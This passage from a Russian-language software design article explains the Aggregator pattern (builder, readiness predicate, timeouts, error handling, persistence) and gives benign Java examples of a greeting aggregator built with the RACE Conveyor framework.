В правой части диаграммы на рис 1. расположен продукт - итоговое сообщение или объект. Продукт представляет из себя простой Java объект, не обладающий никаким особым поведениям, кроме функции контейнера для нужных нам данных. После того как все данные получены и обработаны агрегатор должен поместить этот объект в выходной канал. Что именно содержится в сообщении определяется задачей. Это может быть, например, пустое сообщение. С единственной целью уведомить следующий по цепочке процесс, что работа по агрегации завершена. Это так же может быть сложный объект, состоящий из всех тех частей, которые были получены агрегатором. Это может быть контейнер для несколько разных объектов для разных получателей. В любом случае, результирующий продукт должен иметь какую-то модель данных, а так же сопровождаться мета-информацией для правильной маршрутизации и размещении данных в выходных потоках.
### Строитель продукта
В нетривиальных случаях, каким, очевидно, является агрегатор, задачу создания экземпляров объектов делегируют хорошо известным [Порождающим шаблонам](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D0%BE%D0%B6%D0%B4%D0%B0%D1%8E%D1%89%D0%B8%D0%B5_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D1%8B_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F). Шаблон [Строитель](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%BE%D0%B8%D1%82%D0%B5%D0%BB%D1%8C_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) отлично подходит для создания экземпляра продукта по запросу. Задачей строителя является предоставление необходимых интерфейсов для временного хранения блоков данных и вспомогательной информации, трансформации и валидации данных, приведения типов, словом, всех операций необходимых для подготовки сложных данных к порождению требуемого продукта. Строитель не чувствителен к последовательности поступления блоков данных и, до известной степени, позволяет контролировать внутреннее представление продукта, в зависимости от поступившей информации. В качестве бонуса, класс продукта оказывается избавленным от ненужных зависимостей и перегруженной внутренней логики.
Другим важным достоинством строителя является возможность его независимой разработки и тестирования. Для этого не требуется строить полноценный агрегатор.
### Строительные блоки
Для каждого продукта мы должны сопоставить его модель с имеющимися в наличии блоками данных. Мы так же выяснили, что каждый блок данных должен иметь бирку с идентификатором типа, чтобы отличать его от других блоков. В простейшем случае, каждому полю POJO класса должен соответствовать отдельный тип сообщения. Например, сообщение помеченное биркой E\_MAIL, скорее всего, содержит строку содержащую e-mail клиента, и его значение должно быть присвоено полю eMail продукта. Модель входных данных может весьма серьезно отличаться от модели продукта. Входное сообщение может содержать нужную информацию в виде отдельного элемента своей собственной сложной структуры. Например, e-mail может оказаться в поле e\_mail JSON объекта UserInfo. Таким образом, для каждого блока данных должен быть поставлен в соответствие соответствующий метод интерфейса класса строителя и поля продукта, которые могут быть из него получены. Для строителя не составит проблемы произвести необходимую трансформацию и валидацию. Как видно из примера ниже, поля продукта, содержащие информацию о пользователе, могут быть доставлены как одним блоком, так и тремя разными блоками. При необходимости, агрегатор может поддерживать любой или оба из этих сценариев.
| | | | |
| --- | --- | --- | --- |
| **бирка** | **пример блока данных** | **метод строителя** | **поля продукта** |
| **USER\_INFO** | { “firstName”: “John”, “lastName”: “Smith”, “e\_mail”: “john@smith.info”} | extractUserInfo(UserInfo userInfo) | String firstNameString lastNameString eMail |
| **FIRST\_NAME** | John | setFirstName(String firstName) | String firstName |
| **LAST\_NAME** | Smith | setLastName(String lastName) | String lastName |
| **E\_MAIL** | [john@smith.info](mailto:john@smith.info) | setEmail(String eMail) | String eMail |
Следующий шаг анализа потока входных сообщений должен определить какие компоненты являются обязательными, какие нет, и необходимо ли для не обязательных компонентов установить дефолтные значения. Некоторые типы входных данных могут не иметь прямого соответствия полям продукта, но при этом использоваться строителем для настройки процесса сборки.
### Готовность продукта
В какой-то момент агрегатор должен принять решение о том, что строитель получил достаточное количество данных и может быть создан экземпляр продукта для завершения процесса. Но, на основании чего принимается такое решение? Верный ответ - на основании всей имеющейся совокупности данных. Как внутренних, полученных через каналы связи, так и внешнего “контекста выполнения”. На практике такое сверх-обобщенное требование к алгоритму возникает не всегда, но его нужно иметь в виду, чтобы быть готовым к изменяющимся требованиям развивающейся системы.
Можно привести несколько примеров, которые требуют разных подходов к разработки предиката готовности.
* Готовность по получении всех ожидаемых блоков данных. Один из самых простых и очевидных алгоритмов. Для каждого CORRELATION\_ID агрегатор ожидает получение известного количество блоков каждого типа.
* Готовность после получения одного сообщения из любого канала. Для конкурирующих процессов. “Выигрывает” первый присланный ответ.
* Готовность после определенного времени ожидания. Задача - накопить как можно больше данных за отведенный временной интервал. Если данные недополучены возможно присвоение дефолтных значений отсутствующим полям.
* Готовность по внешнему событию. Процесс генерирующий данные для агрегатора знает когда ввод завершен, например, файл полностью прочитан, и посылает особое терминальное сообщение, интерпретируемое агрегатором как готовность всего набора данных. Само терминальное сообщение, при этом, не обязательно содержит какие-либо данные и не используется при создании продукта.
Алгоритм предиката готовности может быть как статическим, если агрегатор ожидает выполнения одного и того же сценария, так и динамическим, например, ожидаемое число блоков информации и их типы может быть передано отдельным сообщением при инициализации агрегатора.
Возможна комбинация вышеперечисленных подходов. Если одним из полей данных является список неизвестной длины, то после окончания ввода последнего элемента списка может быть послано терминальное сообщение, относящееся только к этому списку. Остальные блоки при этом описываются статическим алгоритмом. Другой пример, агрегатор может создать продукт сразу как только получены все возможные блоки данных, или после определенного времени ожидания, но только если получены все обязательные блоки. Не обязательные блоки могут при этом оставаться пустыми или получить дефолтные значения.
Если строитель может производить разные представления продукта, то и алгоритм готовности, в общем случае, может быть различным для каждого представления.
### Жизненный цикл агрегатора коротко
Процесс агрегации имеет начало и конец. Звучит слишком банально, если не принимать во внимание, что этот временной интервал может выходить за рамки времени жизни приложения в котором существует данный агрегатор. В абсолютных единицах время агрегации может быть любым. От миллисекунд до минут, часов, дней, месяцев. В начале необходимо создать экземпляр строителя и ассоциировать его с CORRELATION\_ID, а так же произвести первоначальную настройку и присвоить дефолтные значения необязательным полям. По мере поступления данных агрегатор находит строителя по соответствующему CORRELATION\_ID, а на основе бирки блока данных решает какому методу строителя передать данные. После обработки очередного блока данных вызывается предикат готовности, который должен дать ответ, все ли необходимые для построения продукта данные получены. Если все данные получены строитель порождает экземпляр продукта и передает его обработчику выходного потока. После чего CORRELATION\_ID и экземпляр строителя удаляются, а ресурсы высвобождаются.
Если не все данные получены предикат готовности вернет false и агрегатор продолжит обработку входящей очереди сообщений.
Если в момент ввода произошла ошибка, то сам ошибочный блок данных, а так же незавершенный экземпляр строителя должны быть помещены в выходной поток обработки ошибок со всей сопутствующей появлению ошибки информацией.
Агрегатор обладает потенциалом блокировки и бесконтрольного расходования ресурсов, поэтому, разумно иметь ограничения на размеры входящей очереди сообщений и общего количества хранимых объектов, а так же установить максимальные время ожидания получения всех данных.
### Инициализация строителя
Итак, первое что должно произойти - экземпляр строителя сам по себе должен быть получен и правильно проинициализирован. Существует некоторое противоречие, которое нужно иметь в виду. Дело в том, что агрегатор - это процесс с состоянием, как таковой является антитезой процессов без состояния. Сам термин агрегатор возникает в контексте обсуждения реактивных процессов, потоков данных, которые не имеют и не должны иметь памяти о своем состоянии. Агрегатор должен знать, есть ли в его коллекции строитель для данного CORRELATION\_ID, но ни входной поток слева, ни сами блоки данных об этом знать не могут, и не должны. Поэтому, возможны два основных сценария для инициализации.
**Первый способ.** Триггером агрегации является единичный управляющий процесс. Примером может являться широко применяемая стратегия split-apply-combine. Главный процесс (split) разбивает задачу на подзадачи и генерирует, или иным образом получает, CORRELATION\_ID. Первым сообщением, которое должен послать этот процесс, должно быть сообщение агрегатору о начале очередной сборки, после чего он может раздать подзадачи рабочим процессам. Рабочие процессы помечают свои результаты соответствующими бирками и тоже отдают их агрегатору, но первым в очереди всегда должно оказаться сообщение об инициализации со всеми необходимыми для инициализации параметрами. Первый способ позволяет осуществлять максимальный контроль над процессом инициализации.
**Второй способ.** Все процессы производящие данные независимы, могут оперировать с единым CORRELATION\_ID, но невозможно или трудно выделить “первичный” процесс. Например, вы запустили скрипт который должен прочитать CSV файл, разбить на поля, и отдать агрегатору. Невозможно узнать, без чрезмерного усложнения всей логики скрипта, являются ли записи в этом файле новыми данными, или продолжением серии начатой в другом файле, либо даже тем же самым файлом загружаемым второй раз. В таком случае, агрегатор должен уметь сам создавать экземпляр строителя и делать это каждый раз когда в его поле зрения появляется CORRELATION\_ID для которого не найдено соответствующего строителя. Второй способ можно применять и в том случае если можно выделить стартовый процесс, но сама инициализация строителя тривиальна и не требует каких то особых настроек, уникальных для каждого случая.
Данный метод удобен, но следует помнить о возможном побочном эффекте, а именно, непреднамеренном начале агрегации при поступлении дубликата, устаревшего или ошибочного блока данных. Если такой риск есть, агрегатор должен поддерживать удаление объектов по таймауту с соответствующей обработкой внештатной ситуации.
### Управление временем жизни
При неперегруженной очереди входящих время окончания сборки приблизительно равно времени поступления последнего блока данных. Если этот блок так и не появится в очереди, агрегатор будет вечно ожидать ввода и никогда не освободит ресурсы. Подобные неоконченные сборки имеют тенденцию накапливаться, что приводит как к неконтролируемой утечке ресурсов, так и к отдаленным последствиям, поскольку, очевидно, результаты сборки никогда не достигнут своей цели, и даже не будут обработаны как ошибка. Поэтому, агрегатор должен иметь возможность устанавливать предельное время ожидания данных, или, таймаут. Это полезно даже для таких процессов, в которых появление ошибки крайне маловероятно, поскольку ошибки могут появиться непреднамеренно, в процессе вносимых в программу изменений.
Что такое время с точки зрения требований к системе? Можно выделить два способа описания, которые встречаются в спецификациях.
* **сколько ждать.** Время отсчитывается от начала агрегации и указывается длина интервала времени в который должен уложиться процесс. Например, установить таймаут на агрегацию 10 секунд. Это наиболее распространенный способ. Он кажется простым и интуитивно понятным, но, имеет некоторые проблемы. Существенную неопределенность здесь представляет определение времени начала агрегации. Для обычного агрегатора “время начала агрегации” это время получения первого сообщения и инициализации строителя, в то время как для клиента, ожидающего результат, временем начала агрегации является его собственное время отправления запроса. При перегруженной очереди ввода таймаут с точки зрения пользователя может возникнуть еще до того как будет обработан первый блок данных. Хуже того, система будет продолжать тратить и без того ограниченные ресурсы на задачу которая уже никому не нужна. Именно в этом месте спецификации часто грешат неполнотой. Для уменьшения влияния задержек возникающих на промежуточных этапах можно сопровождать блок данных атрибутом указывающим от какой точки времени следует вычислять таймаут.
* **когда закончить.** Указывается абсолютное время окончания ожидания. Например, завершить процесс до 12:45:03PM 1 сентября 2022 года UTC. Очевидно, что ответственность за вычисление предельного времени берет на себя какой то внешний компонент системы. Для агрегатора это более предпочтительный вариант, поскольку не подразумевает никакой интерпретации. В загруженной системе абсолютное время тайм-аута позволяет отбросить данные которые устарели еще до начала обработки и разгрузить систему. Если процесс верхнего уровня представляет из себя цепочку событий, то абсолютное время проще передавать от одного сервиса к другому.
Совершенно очевидно, что оба метода взаимозаменяемы, и выбор целиком зависит от удобства реализации конкретных требований.
В обоих случаях можно рассмотреть несколько источников откуда система может получить информацию о тайм-ауте.
* **не надо так усложнять.** Все предыдущие рассуждения могут быть не важны для вашей системы. Вы просто хотите элементарного контроля над утечкой памяти и блокировками. Тогда один общий для всех механизм первого типа с тайм-аутом, определяемым конфигурацией системы будет достаточен.
* **пусть клиент решает.** Запрос пользователя должен в явном виде содержать атрибуты управления временем в любом удобном ему виде. Эти атрибуты должны учитываться при инициализации конкретного агрегатора. Клиентом здесь может выступать как реальный пользователь, так и процесс ждущий результатов агрегации.
* **пусть данные решают.** Время тайм-аута динамически вычисляется на основании имеющихся данных и типа создаваемого объекта.
### Таймаут
Если таймаут произошел, то система может отреагировать несколькими способами
* **Ошибка.** Очевидный способ - передать все накопленные данные потоку обработки ошибок с соответствующим статусом и высвободить ресурсы.
* **Последний шанс.** Как было отмечено ранее, блоки данных могут быть как обязательными, так и нет. Если таймаут все же произошел, но все обязательные блоки к этому моменту уже получены, то вместо генерации ошибки можно получить экземпляр продукта и передать его обычной выходящей очереди. Примером может быть обработка массива данных бэтчами, причем в потоке данных могут быть ощутимые перерывы, но явного окончания поток не имеет. Агрегатор накапливает оптимальное количество блоков, после чего передает их далее как единое целое. “Хвост” потока почти наверняка окажется короче оптимального размера бэтча и агрегатор некоторое время будет продолжать ждать поступления данных. Когда произойдет таймаут накопленные к данному времени данные все равно можно и нужно будет обработать. Небольшая задержка при обработке последней порции данных, как правило, приемлема, как и то, что не все бэтчи будут одинакового размера.
* **Еще минуточку.** Иногда возникает необходимость скорректировать время тайм-аута. Продлить или сократить время ожидания. Этого можно добиться если агрегатор поддерживает специальные управляющие команды. Учитывая асинхронную природу агрегации, такие команды не могут гарантировать, что данный агрегатор либо еще, либо уже не существует. Более надежно динамически корректировать таймаут средствами самого агрегатора на основе накопленных строителем данных. Например, добавлять определенное время если наблюдается активность поступления данных. Рассмотрим как пример агрегатор ставок аукциона. Если активность торговли низкая, то нет необходимости ничего корректировать, аукцион закончится вовремя, но если некий хитрый участник рассчитывает сделать ставку в последнюю секунду до окончания торгов, чтобы отмести конкурентов, то имеет смысл добавить к торгам еще 5 минут, чтобы все участники имели шанс ответить, и так продлевать его, пока ставки растут.
### Обработка ошибок
Ошибки слишком разнообразны по своей природе. Выше уже упоминались некоторые категории ошибок, связанные с невозможностью обработки какого-то блока данных, с наступлением тайм-аута, перегруженностью системы, и прочие. Важно, чтобы агрегатор обладал достаточной гибкостью и позволял адресовать проблемы обработки ошибок с разных точек зрения. Уже упоминалось, что наряду с потоками ввода и вывода агрегатор должен иметь и поток обработки ошибок. Всякая ошибка должна сопровождаться подробным контекстом ее возникновения. CORRELATION\_ID, биркой, типом ошибки, исключением, если оно было зафиксировано, а так же экземпляром незавершенного строителя, если он уже был создан.
Ошибки можно разделить на критические и не критические. Возникновение критической ошибки приводит к прекращению процесса агрегации и высвобождению ресурсов. Примеры критических ошибок - таймаут, несоответствие типа данных ожиданиям строителя, ошибки валидации. Не критические ошибки должны быть обработаны, но процесс агрегации не прерывается. Пример не критической ошибки - ошибка ввода пользователя. После получения уведомления об ошибке пользователь имеет шанс попробовать еще раз.
### Масштабирование
Агрегаторы достаточно естественно и легко масштабируются по CORRELATION\_ID. Достаточно, чтобы любой блок с одним и тем же CORRELATION\_ID всегда подавался на вход одного и того же агрегатора. Этот подход хорошо работает при равномерном распределении блоков. Иногда, впрочем, может оказаться так, что 80% всего траффика приходится на 20% CORRELATION\_ID. В этом случае разумно включить в сообщение дополнительные атрибуты для лучшей балансировки.
Так же может оказаться, что неравнозначны типы блоков данных. Если некоторые блоки являются тривиальными полями и присваивание выполняются практически мгновенно, то другие могут потребовать сложной обработки для извлечения полезной информации. В этом случае можно разделить агрегатор на каскад связанных между собой агрегаторов. Выделить больше потоков для обработки медленных данных. Очевидно, что алгоритм готовности для промежуточной и окончательной агрегации будет в этом случае отличаться, а балансировщик должен учитывать как CORRELATION\_ID так и бирку блока.
### Эластичность
В идеале, агрегатор должен извлекать и обрабатывать данные из входного потока со скоростью выше или соизмеримой со скоростью заполнения этого потока. Иными словами, входной поток должен быть, как правило, пустым. Опасная ситуация возникает если данные поступают в большом объеме и быстрее, чем агрегатор может их обрабатывать.
Симметричная ситуация возникает с выходным потоком. Невозможность забирать данные из выходного потока с достаточно скоростью создает противодавление, которое приводит к росту размеров входящей очереди.
Желательно, чтобы агрегатор имел возможность как устанавливать разумные ограничения на размеры входящей очереди, так и имел механизмы оптимизации ввода больших объемов входящих данных. Часть этих вопросов выходит далеко за рамки обсуждения данного шаблона, но следует помнить, что данная опасность всегда подстерегает системы с отслеживанием состояния при любой попытке наивной имплементации.
Трудно как-то предсказывать или контролировать проблемы возникающие из за противодавления вызванного консьюмерами выходящего потока, но есть вещи которые сам агрегатор и его строители должны избегать.
Во-первых, строитель должен избегать любых синхронных действий сопровождающихся сторонними эффектами. Даже такая простая операция как запись в лог, при неправильной конфигурации системы, может привести к серьезным проблемам и потере данных. Практически все что делает строитель должно быть либо тривиальным присваиванием полей, либо чисто алгоритмической обработкой данных, типа простого парсинга или приведения типов. Строитель который просто присваивает значения своим полям обладает колоссальной пропускной способностью и его трудно перегрузить.
Во-вторых, строитель и обработчики выходных очередей не должны выполнять никаких длительных вычислений. Если в них есть необходимость - делегируйте их рабочему процессу, а результат требуйте в виде еще одного типа сообщений.
Строитель, как правило, не чувствителен к последовательности обработки строительных блоков. Их реальное применение происходит при получении экземпляра продукта, и тогда нужная последовательность операций может быть задана явным образом. Но, этого нельзя сказать об агрегаторе в целом.
Рассмотрим ситуацию. В какой-то момент времени во входящую очередь поступает большое количество блоков типа А, которые можно быстро получить, но обрабатываются они медленно. Через некоторое время поступает такое же количество блоков типа Б. Они получаются медленно, но обрабатываются быстро, и вместе с А, завершают агрегацию. Что произойдет? Первый результат будет получен только после того как будут обработаны все блоки А. Это не только задерживает получение результата, но и создает большую нагрузку на память и неравномерность нагрузки на стороне получателя. Если между потоками А и Б есть взаимная корреляция (первый А соответствует первому Б), что вероятно, то оптимальной стратегией было бы “пропустить Б вперед”. Иными словами, для достижения лучшей эластичности системы входящая очередь должна уметь работать с приоритетами данных. Само значение приоритета может быть еще одним атрибутом сопровождающим блок. Другие примеры приоритетов: сообщения чьи времена тайм-аута наступают раньше следует обрабатывать в первую очередь; отдавать приоритет более старым сборкам; приоритет устанавливается клиентом.
Важно помнить, что приоритеты не являются гарантией очередности присвоения данных, а механизмом способным улучшить эластичность, равномерность нагрузки и выход годных объектов продукта.
### Персистенс
Если агрегатор хранит состояние сборки в оперативной памяти, то могут возникнуть определенные проблемы. Первая проблема очевидна - потеря данных при сбое программы или железа. Но сохранение данных требуется не только для защиты от сбоев. Выше было отмечено, что время жизни процесса агрегации может быть дольше, иногда значительно дольше, чем время работы приложения которое осуществляет сборку. Причем объемы этих “отложенных” сборок могут превышать объем доступной памяти. В принципе, агрегатор может хранить в памяти только те данные, которые необходимы для обработки текущего блока, вычисления момента готовности и получения продукта, или даже фрагмента продукта. Так как это делают классические мэп-редьюс алгоритмы на базе Хадупа. С практической точки зрения, для лучшей производительности, агрегатор должен по максимуму задействовать память для сохранения состояния активных в данный момент сборок, подгружая данные по мере необходимости.
Конечно, сохранять нужно не только данные, но и сопровождающую мета-информацию. Такую как CORRELATION\_ID, бирки, время тайм-аута, приоритеты, и прочее.
Персистенс требуется не всегда. Данные уже могут быть сохранены где-то в системе, если вы используете для ввода обычные файлы, шину сообщений, типа КАФКА, или базу данных. Если произошло обычное или аварийное прерывание сборки часто можно просто заново применить те же запросы. Но, это не всегда возможно. В этом случае, желательно чтобы сам агрегатор мог предоставить механизмы безопасного постоянного хранения входящих сообщений.
Определенную трудность так же представляет определение данных требующих повторной загрузки. Если произошел сбой и нужно повторить ввод, то прогонять заново весь поток ввода может быть крайне неэффективно. Ведь большинство сборок уже закончены и переданы получателю. С другой стороны, нам не может быть заранее известно, где на временной шкале находится первый блок данных из незавершенных транзакций. Для решения этой проблемы полезно поддерживать лог завершенных и не завершенных сборок и выстраивать стратегию восстановления после сбоя основываясь на этой информации.
Если агрегатор использует персистенс, не важно, собственную или как часть системы ввода данных, возникает вопрос о гарантированной доставке. После того как продукт получен клиентом и есть подтверждение этому, входные данные можно удалить или архивировать. То есть, клиент-получатель должен каким-то образом взаимодействовать с поставщиками данных или системой архивации. Это не желательный вид зависимости. Схема агрегатора структурно очень похожа на схему другого популярного шаблона проектирования - моста ([https://ru.wikipedia.org/wiki/Мост\_(шаблон\_проектирования)](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D1%81%D1%82_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F))). Шаблон мост применяют когда нужно отделить абстракцию от множественных вариантов реализации. Это именно то, что нужно. Может существовать множество вариантой доставки блоков данных, и так же много вариантов кому и как передать экземпляр продукта. Стандартизованный интерфейс передачи уведомлений о завершенной доставке позволяет избежать излишних зависимостей в коде и гибко переключаться с одной реализации на другую.
Еще один аспект, требующий сохранения информации о текущих и ранее произведенных сборках - это проблема дубликатов сообщений. Любой алгоритм производящий суммирование требует чтобы каждое входящее было учтено ровно один раз. Очевидно, никто не хочет, чтобы из за ошибки браузера сума была дважды списана с кредитной карты. Агрегатор хранит данные о текущих сборках, но не может и не должен хранить информацию обо всех когда либо произведенных действиях. Если такая потребность может возникнуть, она должна иметь поддержку со стороны системы постоянного хранения данных.
### Промежуточные итоги
Итак, для построения агрегатора нам понадобятся ответы на следующие основные вопросы
| | Зачем нужно |
| --- | --- |
| Что является CORRELATION ID | Агрегатор должен уметь различать к какому экземпляру строителя продукта относится то или иное сообщение |
| Какие типы входящих сообщений существуют и какие бирки им соответствуют | Понять какому методу интерфейса строителя отдать то или иное сообщение, как их обозначить |
| Что мы собираемся получить | Создать класс/модель для продукта |
| Как мы собираемся это получить из имеющихся блоков данных | Создать класс строитель, способный произвести продукт из имеющихся данных |
| Какие блоки данных являются обязательными, а какие нет | Пометить обязательные и не обязательные блоки, и дефолтные значения для них |
| Как определить готовность | Описать алгоритм готовности в виде предиката, использующего полученные в процессе сборки данные и метаданные |
| Куда поместить результат | Агрегатор должен гарантировать безопасную и бесперебойную доставку сообщений всем получателям |
| Что делать с ошибками | Разработать стратегию обработки ошибок разных типов |
| Управление временим сборки | Выбрать стратегию управления временем жизни сборки в соответствии с задачей, указать поведение агрегатора в случае наступления тайм-аута |
Часть II - примеры разработки агрегатора
----------------------------------------
Данный раздел не является заменой документации или руководством для разработки. В ней приводятся примеры имплементации обсуждаемые в предыдущем разделе типы агрегаторов с использованием Java и [RACE Framework](https://github.com/aegisql/conveyor/wiki).
Рассмотрим простейший пример агрегатора. Следуя традиции, пусть агрегатор выведет в стандартный поток вывода строку “Hello, World!” Данное приветствие состоит из двух частей. Первое слово является одним из множества приветственных слов, второе - адресатом, которому направлено данное приветствие.
| | Зачем нужно |
| --- | --- |
| Что является CORRELATION ID | Пусть блоки данных определяется уникальным случайным UUID |
| Какие типы входящих сообщений существуют и какие бирки им соответствуют | Один поток данных, пометим его как “greeting”, поставляет первую часть строки - приветствие. Второй, ”name”, имя субъекта к которому относится приветствие. Типом для бирок будет String |
| Что мы собираемся получить | Строку вида “, !” полученную из двух частей, соединенных “, ”, и оканчивающуюся “!” |
| Как мы собираемся это получить из имеющихся блоков данных | За сборку будет отвечать класс GreetingBuilder. Экземпляр строителя будет создаваться автоматически для каждого нового приветствия. |
| Какие блоки данных являются обязательными, а какие нет | Все блоки являются обязательными |
| Как определить готовность | Готовность наступает когда получены обе части, “greeting” и “name” |
| Куда поместить результат | Выведем результат в стандартный поток |
| Что делать с ошибками | Оставим дефолтное поведение - ошибки выводятся в стандартный лог |
| Управление временим сборки | Не определено |
Продуктом у нас является простая строка, и нам не надо создавать для нее никакого дополнительного контейнера. Воспользуемся стандартным Java классом String.
Определим класс-строитель GreetingBuilder
```
public class GreetingBuilder implements Supplier {
// Сохраняем строительные блоки в соответствующих полях
private String greeting;
private String name;
// Метод-фабрика для создания продукта
@Override
public String get() {
return greeting + ", " + name + "!";
}
// Сеттер для приветствия
public void greeting(String value) {
greeting = value;
}
// Сеттер для имени
public void name(String value) {
name = value;
}
}
```
Создадим простой агрегатор использующий GreetingBuilder и отвечающий вышеперечисленным требованиям.
```
// Создаем экземпляр конвейера
Conveyor greetingAggregator = new AssemblingConveyor<>();
// Конвейер создает экземпляр строителя с помощью дефолтного конструктора
greetingAggregator.setBuilderSupplier(GreetingBuilder::new);
// Продукт выводим в стандартный поток вывода
greetingAggregator.resultConsumer(bin->System.out.println(bin.product)).set();
// Связываем бирки с методами строителя
greetingAggregator.setDefaultCartConsumer(Conveyor.getConsumerFor(greetingAggregator, GreetingBuilder.class)
.when("greeting", GreetingBuilder::greeting)
.when("name", GreetingBuilder::name)
);
// Задаем предикат готовности
greetingAggregator.setReadinessEvaluator(Conveyor.getTesterFor(greetingAggregator).accepted("greeting","name"));
// Тестируем:
// Используем случайный CORRELATION\_ID
UUID correlationID = UUID.randomUUID();
// Посылаем данные. Порядок не важен
greetingAggregator.part().id(correlationID).label("greeting").value("Hello").place();
greetingAggregator.part().id(correlationID).label("name").value("World").place();
// Ждем завершения всех активных сборок и останавливаем конвейер
greetingAggregator.completeAndStop().join();
```
Ожидаемый вывод:
```
Hello, World!
```
Итак, что произошло?
Во-первых, мы создали класс строитель имплементирующий стандартный интерфейс поставщика строк (implements Supplier). Любой строитель используемый конвейером должен предоставить метод T get() интерфейса Supplier. Возвращаемый тип является типом продукта. Как видно, строитель достаточно тривиален, никак не зависит от конвейера и его легко протестировать независимо. Потоковую безопасность строителя обеспечивает RACE, поэтому разработчику в обычных случаях беспокоиться о ней не нужно.
Во вторых, мы создали и настроили конвейер - основной класс используемый в RACE для осуществления сборки и контроля. Конвейер требует три типовых параметра.
* Тип для CORRELATION ID
* Тип для бирок
* Тип для продукта
В нашем первом примере
| | **TYPE** |
| --- | --- |
| CORRELATION\_ID | UUID |
| LABEL | String |
| PRODUCT | String |
Следующий шаг - поскольку мы выбрали второй способ инициализации строителя, конвейер должен знать как создавать экземпляр строителя для каждой новой сборки. Передаем методу setBuilderSupplier дефолтный конструктор класса GreetingBuilder.
Далее, метод resultConsumer устанавливает поведение после получения экземпляра продукта. Мы решили, что хотим просто поместить результат в STDOUT.
Метод setDefaultCartConsumer связывает строковые бирки с конкретными методами строителя.
И, наконец, setReadinessEvaluator устанавливает предикат готовности. Мы выбираем один из стандартных предикатов - готовность наступает немедленно после того как получены оба типа блоков.
Тестирование:
Конвейеру необходимо передать минимум три параметра. CORRELATION\_ID, LABEL, и само значение. Метод place() асинхронно помещает блок данных в очередь. Вся дальнейшая обработка данных происходит в собственном потоке конвейера.
Поскольку наша цель состоит в том, чтобы убедиться в работоспособности этой минимальной конфигурации, мы должны синхронизировать потоки теста и конвейера. Существует несколько способов. Метод completeAndStop блокирует ввод, позволяет конвейеру завершить незаконченные сборки, после чего останавливает конвейер.
В результате на экране должно появиться сообщение “Hello, World!”
### Типизация конвейера
RACE не диктует пользователям какой тип данных использовать в качестве CORRELATION\_ID или LABEL. Выбор зависит от самих данных и требований эффективности. Общие рекомендации для CORRELATION\_ID. Чаще всего уже имеющихся классов типа String, UUID, Long, Integer вполне достаточно. В редких случаях может понадобиться создать собственный класс. Например, чтобы хранить сложный ключ содержащий несколько полей. Такой класс должен иметь хорошую имплементацию методов hashCode и equals. Если предполагается хранить в памяти большие объемы данных полезно чтобы объекты могли быть естественным образом упорядочены. То есть, имплементировали Comparable интерфейс.
Например, выше приведенный пример можно модифицировать для использования в качестве CORRELATION\_ID строк вместо UUID:
```
// Создаем экземпляр конвейера
Conveyor greetingAggregator = new AssemblingConveyor<>();
// Далее все как в предыдущем примере:
….
// Тестируем:
// Создаем строковый CORRELATION\_ID
String correlationID = "HelloWorld\_00001";
// Посылаем данные. Порядок не важен
greetingAggregator.part().id(correlationID).label("greeting").value("Hello").place();
greetingAggregator.part().id(correlationID).label("name").value("World").place();
```
Второй типовой параметр конвейера задает тип для бирок. В примере используются строки. Строки удобны своей наглядностью. Впрочем, для бирок можно выбирать любой тип. Константа с подходящим именем в коде не менее читабельна, чем строка.
Чаще всего количество бирок ограничено и соответствует количеству методов интерфейса строителя. Поэтому, самым удобным типом для бирок является **enum**. При использовании **enum** меньше вероятность допустить ошибку или раньше ее обнаружить. Для нашего примера класс можно было бы определить так:
```
public enum GreetingLabel {
GREETING,NAME;
}
```
Конвейер поддерживает специальный функциональный интерфейс SmartLabel **позволяющий наиболее эффективным образом связать метод строителя с биркой.**
```
public enum GreetingLabel implements SmartLabel {
GREETING(GreetingBuilder::greeting)
,NAME(GreetingBuilder::name);
final BiConsumer consumer;
GreetingLabel(BiConsumer consumer) {
this.consumer = (BiConsumer) consumer;
}
@Override
public BiConsumer get() {
return consumer;
}
}
```
Определенный таким образом класс для бирок упрощает использование конвейера. Нет необходимости устанавливать CartConsumer. Тем не менее, функциональный интерфейс LabeledValueConsumer обладает некоторыми дополнительными свойствами, которые делают его использование более предпочтительным в некоторых случаях.
Пример конвейера использующего SmartLabel.
```
// Создаем экземпляр конвейера
Conveyor greetingAggregator = new AssemblingConveyor<>();
// Конвейер создает экземпляр строителя с помощью конструктора
greetingAggregator.setBuilderSupplier(GreetingBuilder::new);
// Продукт выводим в стандартный поток вывода
greetingAggregator.resultConsumer(bin->System.out.println(bin.product)).set();
// Задаем предикат готовности
greetingAggregator.setReadinessEvaluator(Conveyor.getTesterFor(greetingAggregator)
.accepted(GREETING,NAME));
// Тестируем:
// Используем случайный CORRELATION\_ID
UUID correlationID = UUID.randomUUID();
// Посылаем данные. Порядок не важен
greetingAggregator.part().id(correlationID).label(GREETING).value("Hello").place();
greetingAggregator.part().id(correlationID).label(NAME).value("World").place();
// Ждем завершения всех активных сборок и останавливаем конвейер
greetingAggregator.completeAndStop().join();
```
### Дефолтные значения и настройка строителя
В первом примере пробел отделяющий приветствие от имени, а так же символ завершающий строку, задаются в коде литералами. Допустим, мы хотим добавить гибкости в нашу систему и сделать их настраиваемыми. Для начала, изменим слегка класс строителя.
```
public class GreetingBuilder implements Supplier {
// Сохраняем строительные блоки в соответствующих полях
private String greeting;
private String name;
private String spacer = " “; //часть дефолтных значений
private String eol = "."; // можно определить в коде строителя
// Метод-фабрика для создания продукта
@Override
public String get() {
return greeting + spacer + name + eol;
}
// Сеттер для приветствия
public void greeting(String value) {
greeting = value;
}
// Сеттер для имени
public void name(String value) {
name = value;
}
// Сеттер для пробела
public void spacer(String spacer) {
this.spacer = spacer;
}
// Сеттер для конца строки
public void eol(String eol) {
this.eol = eol;
}
}
```
